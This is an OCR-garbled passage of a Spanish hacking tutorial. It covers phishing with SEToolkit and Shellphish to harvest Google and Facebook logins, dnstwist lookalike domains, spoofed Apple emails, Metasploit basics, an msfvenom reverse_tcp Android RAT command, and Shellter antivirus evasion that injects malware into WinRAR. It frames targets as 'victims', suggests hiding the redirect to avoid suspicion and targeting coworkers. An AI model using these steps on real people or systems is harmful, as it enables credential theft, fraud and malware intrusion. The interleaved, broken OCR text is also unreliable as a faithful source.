= S5H [ ] Allow attempted changes of usemame in S5H-2.
- K Private key file for authentication: 1
- Host keys ID:RRLITMpablo ppk | ] Browse...
- Cipher
- Auth
%11
- Tunnels
- Bugs
- More bugs
[ Mot [ Hep | Open || Cancel
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Y finalmente escribir la IP publica en la seccion de

“Session”, y presiona “Open”.

uTTY Configuration 7 »
. Session A [ Basic options for your PuTTY session
L_ogging ' Specify the destination you want to connect to
4 Tei“;::}o el Host Mame {or IP address) Port
 Bel |18.188.146.204 |[22
- Features Connection type: ;
Window 1 O Raw () Telnet () Rlogin (® S5H () Serial
gzil:zz:Sf - Load, save or delete a stored session
. Translation Saved Sessions
. Selection ‘ f Iaﬁiﬂ \
- Colours i - -

Close window on exit:
() Aways () Never @) Only on clean exit

£ Cpen : C;a_ncel

|

Si tienes Linux o Macintosh, utiliza el comando en

la terminal ssh -i /directorio/tu-llave.pem ec2-

user@nombre_del_dns.
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Al iniciar en Putty, te aparecera un mensaje similar

a este, solo haz clic en "yes”.

PuTTY Security Alert X

~ The server's hast key is not cached in the registry, You
! have no guarantee that the server is the computer you
— thinkitis.
The server's ssh- ey fingerprint is:

If you trust this host, hit Yes to add the key to

PUTTY's cache and carry on connecting.

If you want to carry on connecting just once, without
adding the key to the cache, hit Ma,

If you do not trust this host, hit Cancel to abandon the
connection,

Sin embargo, ya que estamos en Kali, y muchas de

las herramientas requieren permisos de

superusuario, sugiero cambiar el usuario a root,

escribiendo sudo -s

e e | o T

Y finalmente escribes el login en la terminal, cada

sistema tiene su usuario default, en el caso de Kali,

es ec2-user, pero otros sistemas tienen otros

Ahora si, ya puedes utilizar todas las herramientas

usuarios, como el de Ubuntu, que es Ubuntu. de Kali en la nube via SSH, sin embargo, hay

situaciones en las cuales una interfaz grafica

podria ser Util, ya sea para no requerir la llave para

Una vez autenticado, ya podras interactuar con el PR
a vez autenticado, ya podra C entrar, o para mas facilmente tener las terminales

sist Vi H. ' ini
stema via SS corriendo en la nube y administrarlas. Te sugiero
iniciar el proceso VNC, que te permitira obtener

acceso por VNC a una interfaz grafica, para esto,
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escribe vneserver, y la primera vez que lo inicies,
tendras que escribir una contrasefa, escribela
(recuerda que en Linux las contrasefias son
invisibles) y presiona enter. Al terminar, te dira la
terminal que tienes VNC corriendo en el escritorio
1.

A este punto ya puedes cerrar la terminal SSH,
para ingresar a tu sistema por medio de VNC,
necesitaras un VNCViewer, hay muchas
alternativas, tightVNC(https:/https://tightvnc.com )

y RealVNCyviewer (https://realvnc.com )son

algunas de las mas populares.
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Al abrir uno de los VNCViewers, simplemente
tendras que escribir la IP junto con el numero de
escritorio y presionar conectar.

New TightVNC Connection — X

Connection

Remote Host: | 18, 188, ]

by I i Connect ]

Enter a name or an IP address. To spedfy a port number, [~ z |
append it after two colons (for example, mypc::5902), Optiens... |
Reverse Connections

Listening mode allows people to attach your viewer to
their desktops. Viewer will wait for incomina connections.

' Listening mode |
TightVNC Viewer
TightVNC is cross-platform remote control software,

Its source code is available to everyone, either freely
(GMLI GPL license) or commerdially {with no GPL restrictions).

1 versioninfo... . | Licensing Configure...
Eis S T et

Escribe la contraseia que ingresaste en la terminal

al iniciar vncserver.

Vo Authentication b4
Connected to: EB.E'lE&.QE. 19a:1 l
Password: I I

Cancel
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Y listo! Ahora podréas realizar ataques desde esta
magquina utilizando su IP publica, y podras acceder
desde cualquier lugar, recuerda que tambiéen

existen VNCViewers para celulares, asi como apps

ara conectarte por SSH.

fhatit 1 - Tighavrae v

A I N e LI (It e S8

B

e @ |

1 ro WAL e s

Nota: no te recomiendo realizar actividades

ilicitas, ya que Amazon monitorea activamente

dichas actividades, si recibes un reporte de

abuso y no estas haciendo nada malo, no te

preocupes, no estas en problemas, pero Si

estas realizando actividades ilicitas, podrias

meterte en problemas.
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Phishing

Phishing, también a veces llamados “scams”, son
ataques de ingenieria social en donde se engafia a
la victima de forma que esta realiza alguna accion
gue nos da nuestro objetivo, esto puede ser
entregarnos sus credenciales, abrir o descargar
algun archivo con software malicioso, o
simplemente darnos informacion confidencial,
vamos a enfocarnos en robo de credenciales por el

momento.

T

T

.
=
=
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Robo de credenciales de redes sociales

HITE«

A c X :

Select from the menu:
Social Engineering Toolkit es probablemente la Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

herramienta mas conocida para realizar ataques de

ingenieria social, entre estos, de phishing, y por

Update the Social-Engineer Toolkit
Update SET configuration
Help, Credits, and About

buena razon, ya que ha implementado dentro de sy
script escrito en Python, ataques para falsificar
paginas web y robar credenciales, para desplegar

malware, e incluso metodologias de ataque via Exit the Social-Engineer Toolkit

Arduino, codigos QR, y ataques por redes

inalambricas. :
inaia as Luego te mostrara los vectores de ataque que

Esta herramienta ya esta instalada en nuestro fiene disponible, un vector de ataque es una

sistema Kali, para iniciarla, basta con escribir “forma” de ataque, por ejemplo, quieres atacar por

setoolkit en la termina ceptar el acuerdo s . bk . ]
eto te iy aeep (solo una pagina web, o via la red inalambrica, o via un

la primera vez que aparece).
. /# setoolkit

Al abrirse, te mostrara un menu principal, deberas

codigo QR, etc. Esta herramienta tiene varios

vectores de ataque, en este ejemplo que haremos

que tiene como meta robar las credenciales de

escribir 1 y luego enter, para iniciar los ataques de Google de alguien, utilizaremos la opcion 2, que se

ingenieria social. refiere a utilizar una pagina web como vector de

ataque.
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Spear-Phishing Attack Vectors

Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

SMS Spoofing Attack Vector

Third Party Modules

Return back to the main menu.
Luego te mostrara varias formas de utilizar ese
vector de ataque, desde utilizar java para atacar al
sistema de la victima, hasta al navegador via
Metasploit, vale la pena que leas las descripciones
que aparecen arriba de este menu, pero lo que nos
interesa por el momento es el robo de

credenciales, asi que seleccionaremos la opcion 3.
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Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

o~ oW B WK
— e N S S e e e

Return to Main Menu

(=]
O
S

Ahora tenemos que seleccionar si vamos a clonar
la pagina web donde queremos robar credenciales,
utilizar un modelo, o importar el sitio, en la primera
opcion, le damos la pagina web, y la herramienta
intentara clonar la pagina del HTML de esta, sin
embargo, muchas ya tienen defensas contra estas
situaciones; la segunda opcion te da opciones de
modelos precargados, y la tercera es si quieres
utilizar el archivo externo de una pagina.

Seleccionaremos la opcion 1.
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Luego de ingresar la IP adecuada, deberas

1) Web Templates
2) Site Cloner
3) Custom Import

seleccionar la pagina a la cual vas a atacar, asi que

seleccionaremos Google.

1. Java Required
2. Google

99) Return to Webattack Men 3. Twitter

iY listo! una vez que veas estas letras, podras

La herramienta te pedira ingresar tu IP, esta compartir tu IP a la victima, asegurate que tengas

herramienta funciona guardando los métodos el puerto 80 abierto y disponible, o no podras correr

esta herramienta adecuadamente.

POST que se reciban en esa IP(donde esta alojada
tu pagina phishing), asi que debes poner la IP
adecuada, si estas haciendo pruebas en tu red

local (LAN), ingresa tu IP local (la herramienta te la

sugerira automaticamente) sin embargo, si estas =)
haciendo esto para un ataque con una IP publica, Google
como por ejemplo en un Kali en AWS, ingresa esa .
IP publica, de lo contrario, no recibiras las

credenciales.

setuebattack> IP address for the POST back in Harvester/Tabnabll R
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PARAM:
PARAM:

PARAM:
PARAM:
PARAM:
PARAM:
PARAM:
PARAM:
PARAM:
PARAM:

PARAM:
PARAM:

Y cuando ingrese sus credenciales, veras algo

como esto:

GALX=SJLCkfgacoM
continue=https://accounts.google.com/o/0auth2/aut|

%F2%38%99APsBz4gAMAAAUY4 qD7HDTZz38wBkxnaNoul cR1D3YT]X

service=1so0
dsh=-738188710672579242
utfs=¢

bgresponse=js disabled
pstMsg=1

dnConn=

checkConnection= 3

checkedDomains=youtube

signIn=Sign+in
PersistentCookie=yes

Y a tu victima se le redirigira a la pagina real de
Google para evitar sospechas, si deseas guardar
las credenciales, al ingresar control-c en la terminal

se te generara un reporte de estas.
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Ahora, seguramente notaste dos fallas importantes
en esta herramienta:
1.

La URL que compartes es muy sospechosa,
ya que es simplemente una IP, bueno, pues
si es un problema, sin embargo, es facil de
resolver, basta con apuntar un dominio que
se parezca al dominio real (usando dnstwist
podrias darte una idea de esto) a esa IP
usando ya sea las herramientas del
proveedor de dominios donde compres este,

0 algo como route 53 de AWS.

. Existen muy pocas opciones de paginas

para atacar, y si, eso es real, sin embargo,
tambiéen puedes resolverlo utilizando la
opcion de clonar, o haciendo tus propias
paginas utilizando HTML, sin embargo,
usando algo como shellphish podrias
obtener un mayor rango de paginas posibles

para atacar.
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Robo de credenciales de redes sociales 2 - Li:/opt/Explotacion/shellphish# 1s
ngrok README.md shellphish.sh sites

Shellphish es otra herramienta de ingenieria social, p : Jopt/Explotacion/shellphish# ./shellphish.sh
pero especializada 100% en Phishing, y por lo

tanto, es mejor en esto en varios aspectos, como Al iniciarse, te preguntara qué sitio deseas utilizar

por ejemplo que tiene un rango mucho mas grande

para tu ataque de phishing.

(

de modelos de paginas, que incluyen desde

Facebook, hasta Linkedln y Snapchat, entre
IR

|
I |
=) L

|| | I

| Sl i1

I [

muchos otros, ademas, tiene la ventaja en E E i : { |l
particular, que gracias a que integra ngrok dentro
. . . : . pisclaimer: Developers assume no liability and are not i

de su script, la pagina se crea siendo accesible responsible for any misuse or damage caused by ShellPhish ::

globalmente, sin importar si estas corriendo la

[nstagram [9] Origin [17] Gitlab

herramienta en tu maquina virtual local o no, aun Facehook [10] Steam [18] Custom
snapchat [11] Yahoo

asi, para algunas otras acciones es mas estable luitter [12] Linkedin

. , Github [13] Protonmail
SEToolkit(pero podrias tomar los modelos de Goc [14] Wordpress
: . ! X Spoti [15] Microsoft
Shellphish y utilizarlos en SEToolkit), asi que vale Netfld [16] InstaFollowers

la pena conocer ambos. hoose an option: [J

Para iniciar shellphish en nuestro Kali, nos vamos a

la carpeta /opt/Explotacion/shellphish. Y

Basta con escribir el nUmero de la opcién que

ejecutamos el script escribiendo ./shellphish.sh, desees, por ejemplo, en este caso si quieres

nota que debemos darle permisos de ejecucion con Facebook seria la opcién 2, para que se inicie el

chmod +x shellphish.sh si no lo has hecho.
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proceso, al iniciarse, te dara una liga de ngrok, que De tu punto de vista aparecera algo similar a esto,

funciona globalmente. en donde te mostrara la IP, navegador, sistema y

ubicacién aproximada de la victima.

[*¥] Choose an option: 2 W e )

r.dgent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 (KHTHL, Like Gecko) Chrome/67.8,3396.99 Safar

: facebook/saved. ip. txt

[*¥] Starting php server... i 0 <dgn.prod-
.in-addr, arpa

[*¥] Starting ngrok server... ot ortes 1
[*] Send this link to the Victim: https://9fe39442.ngrok.;
[*] Waiting victim open the link ...

Uninet S.A, de C.V.

Si tu victima ingresa a la liga, se vera algo asi ' e, e Btoban {(ab/BSL) Inerret Spee
desde su punto de vista, nota que el disefio es tiog credentials ..

Y una vez que la victima ingrese sus credenciales,

idéntico a las paginas verdaderas, y que incluso . ) . =
. a ti te apareceran en tu terminal, redirigiendo a tu
tienen un certificado SSL, sin embargo, la URL " o

victima a la pagina real para no levantar
sigue mostrandose sospechosa.
sospechas.

] Credentials Found!

e . S G ‘| Account: Usuario@facebook. com
g TR '| Password: contrasena
e e ‘| Saved: sites/facebook/saved.usernames.txt

Ahora, este método tiene algunas fallas obvias,

pero con soluciones sencillas.
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1. Solo captura credenciales de un usuario a la
vez (tienes que correrlo de nuevo para
capturar de otro una vez que el primero
ingrese sus credenciales), esto se soluciona
facilmente si exportas la lista de sitios a otra
herramienta como SEToolkit, o si las corres
en un servidor en tu sistema en la nube con
una IP publica.

2. La URL, aunque publica, sigue siendo muy
sospechosa, de nuevo, la solucion es

asignar un dominio a tu IP publica.

Dominios maliciosos

He mencionado varias veces que conviene que
compres un dominio creible y lo utilices para tus
ataques de Phishing, sin embargo, seria muy
tedioso buscar un dominio para tu ataque que este
disponible a prueba y error. Afortunadamente, no
tenemos que hacerlo, podemos utilizar
simplemente un script en Python para que nos
muestre cada dominio que se parezca al original

gue intentamos atacar, y si esta o no utilizado.
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Para esto, nos iremos al directorio en nuestro
sistema de dnstwist escribiendo cd
lopt/Reconocimiento/dnstwist, y ejecutaremos el
script seguido del dominio que queremos encontrar
uno similar, por ejemplo, de Facebook seria algo

asi:

Jdnstwist.py facebook.com.

:/# cd /opt/Reconocimiento/dnstwist/
:/opt/Reconocimiento/dnstwist# 1s

;eg dnstwist.py Dockerfile docs README.md
:/opt/Reconocimiento/dnstwist# . /dnstwist.py facebook.com]]

Seguido de esto, empezara a buscar todas las

alternativas, y si estan siendo utilizadas.

NN
SN O

LA A

Luego de unos segundos, podras ver todas las
alternativas, si tienen un registro a la derecha,
significa que alguien esta utilizando ese dominio, si
no, podria estar disponible.
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faceboo. k.com

afcebook. com 103,224,182, 245 NS:ne = ek

fcaebook,com  31,13.70.1 2 I5:a.15. 4 Ahora que ya sabes como crear paginas web falsas

faechook. com 103.224.182. 24 i

facbeook.com  103.224,182.24 .above. com 1 1 para robar credenciales por medio de phishing,
faceobok., com 31.13.70.1 2a0

faceboko.con 185,53, 179,29 NS flglnsl T ' n una forma de convencer a la
facibook.com 185.53.178.2 i\ : 1ail. h-emnail gioue pensare

facobook, com 199,191.50.73 |

faceboek.con 199,509,242, 151 victima de que abra esa pagina.

Existen muchas formas en las que se podria hacer

esto, como ingenieria social por redes sociales,
Instalacion

pero uno de los métodos mas efectivos hasta hoy,
Si te falla al correrlo, probablemente te falto algtn es utilizar el correo electrénico, sin embargo, si

paso en la instalacion (luego de haberlo envias un correo de facebookcuen45@gmail.com,

descargado y estar en su direccion en la terminal) probablemente o te marcaran como “spam”, o

requieres primero darle permisos al script con el simplemente no te creeran, especialmente en

comando chmod +x dnstwist.py, y luego escribir ambientes corporativos.

pip install -r requirements.txt. Lo que sugiero, es hacer lo que llamamos “email

spoofing”, que es mandar un correo con el dominio

Linux

Ubuntu Linux is the primary development platform. If running Ubuntu 15.04 or newer, you can install dependencies!ii de la victima de forma gue se Ccrea que es el mismo

; : X correo.
$ sudo apt-get install python-dnspython python-geoip python-whois \

pythen-requests python-ssdeep python-cffi

Para hacer esto, no necesitamos una herramienta

dentro de Linux necesariamente, basta con utilizar

Aiternately, you can use Python tooling. This can be done within a virtual environment to avoid conflicts with other
installations. However, you will still need a couple of libraries installed at the system levl,

alguna pagina web, puedes encontrar una

$ sudo apt-get install libgeolp-dev 1ibffi-dev
$ BUILG LIB=1 pip install -r requirements.txt

herramienta desarrollada por nosotros en
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whitesuithacking.com/material-libro en el botén
“email spoof”, pero hay varias otras alternativas
también.

EMAILSPOQF

Luego de entrar, notaras algunos campos, en estos
pones la direccion desde donde quieres que llegue
el correo electrdnico, a quien se le mandara, y el
contenido. Digamos que nuestra victima es

usuario@gmail.com, y queremos mandarle un

correo de Apple, digamos, de pablo@apple.com ,

escribiriamos algo similar a esto.

Email Falso:
Email de la victima: [ G R
Asunte:

Spoof MSG:

pablo@apple.com

pruebaapplel
Contenido del correo:
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Asi, a la victima le llegaria algo como esto:
pruebaapple
pablo <pablo@apple com> 2
gmail com>
prushaapple

Sin embargo, cabe hacer notar que en el apartado
de “contenido del correo” se acepta cédigo HTML,
asi que vamos a llevarlo un paso mas lejos.

Para agregar modelos HTML para hacer el correo
parecer legitimo, basta con pegar el codigo HTML
en dicho apartado, por ejemplo, en la carpeta
Jopt/Explotacion/email templates agregue

algunos modelos para que experimenten con este

ataque.

307




‘V‘!V!"'?F S

cambiarlos para que dirijan a tu victima a una liga

: /Jopt/Explotacion/e
maliciosa en tu poder.

En este caso, agregare un template de Apple para Lo mandariamos pegando el codigo modificado en la

hacer creer a la victima que el correo viene de JRUINg pare.mEndar somsos.

Apple, y que tiene que reestablecer su cuenta, el Epiul s ptc@apple com

Email de la victima: JHIEGEIGEIEIRSGT]

modelo se ve algo como esto, recuerda que es

Asanto:

HTML, las ligas y los nombres adecuados deberas MmoElIbL:

<table class="m_1223344743394638175mainTable" align="center" style="margin:d
auto;font-size:inherit;line-height:inherit;text-align:center;border-
spacing:@;border-collapse:collapse;padding:@;border:0" cellpadding="a"
cellspacing="0"»

<thodyy<trr<td class="m_1223244743394638175topPadding”
style="font-family: 'Lucids Grande',Helvetica,Arial,sans-serif;height:1Gpx”
height="16"></td¥</tr>

Ly i
Your Apple D (| - ‘@gmail.com) was used to sign in to iCloud via a web browsey Lido del correo: <td class="m_1223344743394638175centerColumn” 5

Dear Pablo Gutierrez,

Date and Time: 24 April 2018, 9:08 AM PDT
Browser: Chrome ’ r g - W38
Operating System: Windows Y finalmente, a la victima le llegaria algo similar a

If the information above looks familiar, you can disregard this email. lo siguiente, este solo es un ejemplo, en realidad
if you have not signed in to iCloud recently and believe someone may have accessed your

account, go to Apple ID (https //appleid.appie.com) and change your password as soon as
possible.

podrias utilizar esta metodologia para meter en las

ligas de los correos ligas a descargas maliciosas,

Sincerely.

phishing, o incluso para engafar personas en una

Apple Support organizacion para que te den informacion sensible.

Albrights reserved
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pablai@appie.com> &

@gmalcom’ omall.coms

Dear Pablo Gutienez,
Your Apple 1D ( @ymail.com) was used 1o sign in W ICloud via a weh browser
Date and Time: 24 Apul 2018, 2:98 AM PDT

Browser, Chrome

Operating System. Windows

if the information above Wwoks famiilar, you can aisregand this email

£ you have nol signed In 1© iCloud recently and belisve someons may have accesseq your
account, go to Apple 1D (Mpsifappieid.apple.com) and change your passwart as sconas

possible

Sincerely.

Apple Suppoent

-

=pablo@apple.com> 2

nail. com>

=

ta: @gmail.com” < g

;. Como funciona este ataque?

Es muy sencillo, un correo electrénico no es muy
diferente a correspondencia fisica, tiene
“estampillas” de la misma forma, solo que en este
caso es metadata, con modificar esta metadata,
podemos hacer parecer como que el correo vino de

otro lugar.

Por la forma en la que funciona, es solo de ida el
correo, es decir, si alguien responde a
pablo@apple.com, no recibiria esa respuesta.
Adicionalmente, por la forma en la que funciona,
sistemas basicos de deteccion de SPAM podrian
detener el ataque, sin embargo, muchas
organizaciones, particularmente las PyMES, no
utilizan ningun sistema de seguridad en correos
electronicos, por lo cual sigue siendo una manera
de ataque bastante efectiva.

Si existen filtros, una alternativa es crear un correo

electrénico con un dominio similar comprado.

¢A quién le mandamos un correo como este?

En la etapa de reconocimiento una de las
principales metas es conseguir correos
electronicos, esta es la razon, podriamos utilizar
esta metodologia para robo de identidad entre
compafieros de trabajo, de forma que uno de ellos

abra algun archivo o liga malicioso/a.
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Metasploit

Metasploit es una de las grandes herramientas del
pentesting, es de las mas utiles y utilizadas en el
area. Es desarrollada y mantenida por Rapid7, y
esta escrita en Ruby, esta herramienta nos sirve
para realizar la explotacion y post explotacion a
casi cualquier sistema, por ejemplo, con esta
herramienta podriamos entrar a un sistema
vulnerable a Eternalblue, o podriamos crear un
malware para Android y obtener acceso remoto al
dispositivo al ser abierto por la victima, en pocas

palabras, esta es una de las herramientas que

tienes que dominar si te interesa la ciberseguridad.
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Estructura de la herramienta

Antes de poder utilizarla, debes entender como
esta estructurada. Metasploit esta compuesta de lo
que llamamos médulos, y cada modulo tiene una
funcién en particular, sus principales médulos son:
- Exploit
Este modulo es utilizado para explotacion de
vulnerabilidades (CVEs, generalmente), lo
utilizaras cuando detectes una vulnerabilidad
en un sistema.
- Post
Este modulo se refiere a post-explotacion,
tiene funciones para realizar tareas en
dispositivos a los que ya tienes control.
Unicamente te sirve si ya tienes acceso a un
sistema, no antes.
- Payload
Este modulo te sirve para crear payloads,
que, en este contexto, es codigo malicioso
con alguna funcion, tipicamente acceso

remoto, con este mdédulo podrias crear un
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troyano para acceder remotamente a un
Android, Windows, o incluso servidores
usando lenguajes como PHP, Ruby, Python,
etc.

- Auxiliary
Este modulo es utilizado para una variedad
de ataques, desde DDOS, hasta
reconocimiento o analisis de
vulnerabilidades.

- Encoder
Finalmente, el modulo encoder se utiliza
para codificar los payloads para evadir
antivirus, anteriormente era util, pero hoy en
dia este modulo es obsoleto, asi que no lo

utilizaremos.

==t Y

encoders

auxiliary exploits

Practicamente siempre que utilices Metasploit

estaras en, o requeriras uno de estos maodulos, pon
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atencién a que quieres hacery para qué sirve cada
madulo al utilizarlo.

Dentro de los modulos existen lo que llamaremos
scripts, que se refiere a la utilidad o funcion en si

de Metasploit que utilizaremos.

Palabras reservadas

Metasploit tiene lo que llamamos “palabras
reservadas”, que nos sirven para una tarea en
particular mientras que la herramienta este
corriendo, ahora, estas palabras solo funcionan
cuando Metasploit esta corriendo, antes de iniciar
la herramienta no funcionaran.

- Msfconsole
Esta es la palabra que, si escribes en la terminal,
iniciara Metasploit.

- Search
Esta palabra reservada sé utiliza para buscar
scripts en modulos dentro de la herramienta, es
muy util hasta que te sepas todas las rutas de
memoria, por ejemplo, si buscas los payloads

disponibles para Android, podrias escribir search
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payload/android/ y te mostraria las opciones que - show options

tienes. Antes de configurar las variables, debes saber

- Use cudles son estas, para saber esto puedes escribir

Esta palabra es la que utilizaras siempre antes de show options y te mostrara las variables y

iniciar algun script, por ejemplo, digamos que configuraciones posibles en un script.
- Help

En casi todos lados de la herramienta, si escribes h

requieres lanzar un script del médulo exploit con la

ruta exploit/multi/handler, para utilizarlo en

Metasploit, tendrias que escribir use o help te aparecera un menu con ayuda o

exploit/multi/handler. comandos disponibles.
- Set

Dentro de Metasploit muchos de los scripts tienen

- Exploit/run
Estas palabras son las que utilizaras para ejecutar
variables que necesitan ser configuradas, por un script o algun comando, por ejemplo, si tienes

ejemplo, si vas a lanzar un ataque, generalmente configurado un ataque y ya esta listo para lanzarse,

hablando Metasploit no sabe a qué IP vas a atacar, el comando de lanzamiento seria exploit.
utilizaras la palabra set para configurar las
variables. Por ejemplo, digamos que tienes que
configurar la IP, y la variable de esta es LHOST,
asumiendo que tu IP es 192.168.1.16, para
configurar esto escribirias set LHOST

192.168.1.16.
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Sin embargo, su facilidad de uso y ambiente grafico
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Armitage
! no dejan de ser muy Utiles en muchas situaciones,
Metasploit en si es una herramienta que corre en la

. . . , asi que es algo que recomiendo estudiar.
terminal, sin embargo, tiene una modalidad con
interfaz grafica, que se llama Armitage. Armitage
tiene exactamente las mismas funciones que
Metasploit, sin embargo, tiene unas cuentas
ventajas, la primera y mas obvia es que siendo
interfaz grafica, es mas facil de usar para la
mayoria de las personas, y la segunda muy

importante, es que tiene integraciéon con otras

herramientas tales como nmap con lo que puedes
Armitage

realizar escaneos y analisis de vulnerabilidades en

mitage Wiew Hosts Attacks ‘ﬂorkspac’es’ ,F_Lelp ; ey sjbestusieiit o3 gupplaidia oo

» [ aunliary
» [ exploit

» [l payload
» [ post

una sola consola.

Sin embargo, existen algunas desventajas claves,
la primera es que, al ser un ambiente grafico, no
siempre vas a tener acceso a este, y consume
considerablemente mas recursos que Metasploit,

adicionalmente, en mi experiencia personal he

encontrado algunos bugs, que si no sabes como

funciona la herramienta para resolver estos, podria

echarte a perder un proyecto facilmente.
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Troyanos para acceso remoto

En esta seccion crearas troyanos o RATs para
diferentes tipos de sistemas, primero te explicare
los fundamentos de cémo funciona un RAT, luego
te ensenare a crear varios tipos de RATs, y
finalmente, te ensenare a controlar el RAT con
Metasploit, al terminar los ejemplos con Metasploit,
veremos como crear RATs con otras herramientas.
Un troyano para acceso remoto, también llamados
RAT (Remote Access Troyan), es codigo malicioso
disfrazado de alguna aplicacién que la victima
abriria o instalaria, pero ejecuta silenciosamente su
cddigo malicioso, dandote acceso remoto al
sistema.

El fundamento de cémo funciona esto es bastante

sencillo, estd compuesto de dos partes:
1. EIRAT

El RAT es el archivo malicioso que se espera que

la victima ejecute, piensa en ello como un “espia

\

organizacion, necesita al momento de ser creado,

encubierto” intentandose infiltrar a una

dos cosas, una IP, que podemos llamarle la
“nodriza” (a donde se comunica una vez
ejecutado), y un puerto, que es al puerto donde se
le va a estar escuchando, esta IP y este puerto, es
la del atacante, no la de la victima. Piénsalo de
esta forma, un espia ruso se infiltra en el FBI
encubierto, una vez establecido, debe de
comunicarse con Rusia por medio de cartas para
recibir instrucciones, la carta debe de tener dos
cosas, la direccion de KGB en Rusia, y el nombre
de su jefe, esas dos cosas son el equivalente a la

IP y el puerto.

2. El escuchador, o manejador (handler)

El escuchador, o handler, es el servicio en el
sistema del atacante que va a recibir las
conexiones, y contestar con comandos sobre qué
debe hacer el RAT que esta en el sistema externo,

si este no esta habilitado en el momento en el que
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se reciben las conexiones, el RAT no tendra
ordenes, y por lo tanto, no hara nada.

Piensa en esto como el “jefe” del espia en el
ejemplo anterior, el espia puede mandar una carta
ala KGB y a su jefe, pero si el jefe esta de
vacaciones y no responde con instrucciones, el

espia simplemente se quedara sin hacer nada.

Asi es como funcionan todos los RATS, si alguna
vez vas a realizar un ataque por medio de RAT,
tienes que preguntarte como y donde vas a
configurar estas dos cosas.

Otra cosa, naturalmente, tienes que tener acceso a
una IP publica de forma que las “cartas” (en el caso
real serian paquetes) puedan llegar a tu

controlador.
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Metasploit

Metasploit es una de las herramientas mas
utilizadas para explotar sistemas, asi que
aprenderemos primero como crear malware
utilizando el médulo de payload de Metasploit, para
luego aprender a controlar dicho malware y

sistema.

Msfvenom

Msfvenom es una de las herramientas dentro de
Metasploit, esta te permite crear malware,
esencialmente basandose en el modulo de
payloads, puede crear RATs para casi toda
tecnologia que hay, ya que Metasploit tiene para
todos los sistemas operativos y casi todos los
lenguajes mas comunmente utilizados.

Para utilizarlo, en la terminal debes de escribir el
comando, para el cual la estructura es msfvenom -
p <ruta del payload> LHOST=<tu IP>
LPORT=<tu Puerto> >

[ruta/nombredelarchivo.terminacion

‘ng—ucTE SUIT
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Por ejemplo, si quisiéramos crear un malware para
Android, el comando seria el siguiente:

msfvenom -p android/meterpreter/reverse_tcp
LHOST=192.168.1.67 LPORT=443 >
Iroot/Desktop/malware.apk

Luego de presionar enter, deberia de aparecer algo

similar a lo siguiente, y el archivo en la ruta donde

lo guardaste. )
/H msfnom “p android/neterpreter/reverse top LHOST=192,168.1.67 LPORT=443 > /root/Desktop/malyg
[-] No plélt}g was selected, choosing -mdule::Pi_atf?rm:!:tmdrmd from the payload

[-] Mo arch selected, selecting arch: dalvik from the payload

No encoder ar badchars specified, outputting raw payload

Payload size: 10089 bytes

Ese es un malware para Android, y si
alguien lo ejecuta, y tu tienes un handler
escuchando, obtendrias acceso remoto a
ese dispositivo, de la misma forma funciona

para todas las plataformas.

Donde encontrar mas payloads

Si no sabes donde encontrar algin payload o

malware para alguna tecnologia, basta con iniciar
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la herramienta Metasploit y usar la palabra
reservada search para encontrar la ruta.
Recuerda que en msfvenom no escribimos el
modulo payload, solo lo que sigue, porque el
parametro -p ya esta diciéndole eso a la

herramienta (seria redundante y daria un error).

Evasion de antivirus (Windows)

A pesar de que msfvenom es bastante efectivo en
general, los payloads que crea para Windows en
particular son tan conocidos que cualquier
antivirus, incluyendo Windows defender los
detecta, entonces evitaremos utilizar msfvenom por
si solo, e incluso los encoders de Metasploit, ya
que también son inefectivos hoy en dia.

Sin embargo, podemos utilizar otras herramientas
para evadir los antivirus, existen varias opciones
como TheFatRat, Veil Shellter, que pueden infectar
archivos ejecutables en Windows con malware

procesado de forma que es menos detectable por
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antivirus, y manteniendo la funcionalidad original
del ejecutable, para evitar sospechas.

Para probar estos malwares, sugiero probarlos en
el laboratorio que hiciste, como en una maquina
Windows 7.

Practica

Shellter es una de las herramientas méas efectivas
para crear ejecutables para Windows que evaden
antivirus, para leer o descargar dicha herramienta,

ve a hitps://shellterproject.com , es un ejecutable

para Windows, sin embargo, es portable a Linux
utilizando Wine.

Nota que este software, aunque en su version
gratis es decente, tiene algunas limitantes, entre
ellas tamano de ejecutable que podemos infectar, y
hivel de evasion de antivirus, la versién de paga es
mucho mas poderosa, y bastante barata, pero solo
esta a la venta para empresas de seguridad e
investigadores en seguridad informatica.

En nuestro caso, ya lo tenemos descargado en la

maquina que descargaste en la pagina de
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WhiteSuit Hacking, asi que, para ejecutar la
herramienta, deberas ir a la direccion
lusr/share/shellter, y una vez ahi, escribir wine
shellter.exe, la primera vez que lo ejecutes se
configurara dentro de Wine, solo espera unos

segundos y se abrird la herramienta.

:/# cd /usr/share/shellter/

. /usr/share/shellter# wine shellter.exe

Una vez en dicha pantalla, tendras que ir eligiendo
opciones hasta que hayas creado el malware que
buscas, en la primera pantalla te preguntara si
quieres crear un malware de forma automatica o
manual, selecciona automatica escribiendo la letra
a y presionando enter, en todo momento tienes Ia
opcion de escribir la letra H, que se refiere a “help”
0 ayuda, y te dara una explicacién de que hace

cada opcion.
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10 0100110 10 01 11001001 0011101 601001
11 10 01 00 01 01 01 10 11 19
0010011 1116001 11011 11 10 00 10011 01100]

11 60 10 01 11 01 kel Il il
0016010 11 00 0011010 100111 000111 00 1100011 61 1g,
www, ShellterProject. com Wine Mode

1010101 61

Choose Operation Mode - Auto/Manual (A/M/H): |}

Luego, te pedira la ruta del ejecutable al que se le
va a inyectar cédigo malicioso, nota que esto solo
funciona para ejecutables para Windows. En este
caso escribi la ruta del archivo WinRAR que

descargue de la pagina oficial, ya que es al que voy

a inyectarle codigo malicioso.

PE Target: /var/www/html/winrar.ey

En el sistema que tu descargaste, yo ya te pre-
descargue dos archivos ejecutables para que
practiques, que estan en la ruta

lopt/Explotacion/Exes/
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:/# cd /opt/Explotacion/Exes/
: /opt/Explotacion/Exes# 1s

: /opt/Explotacion/Exes#
Luego de seleccionar el ejecutable, la herramienta

hara un poco de procesamiento que tarda de 30 a
60 segundos generalmente hablando, al terminar el
procesamiento, te preguntara si quieres que el
archivo tenga habilitado o no “stealth mode” que
significa si quieres o no que se mantenga la

funcionalidad original del archivo al que estamos

infectando, seleccionaremos que si.

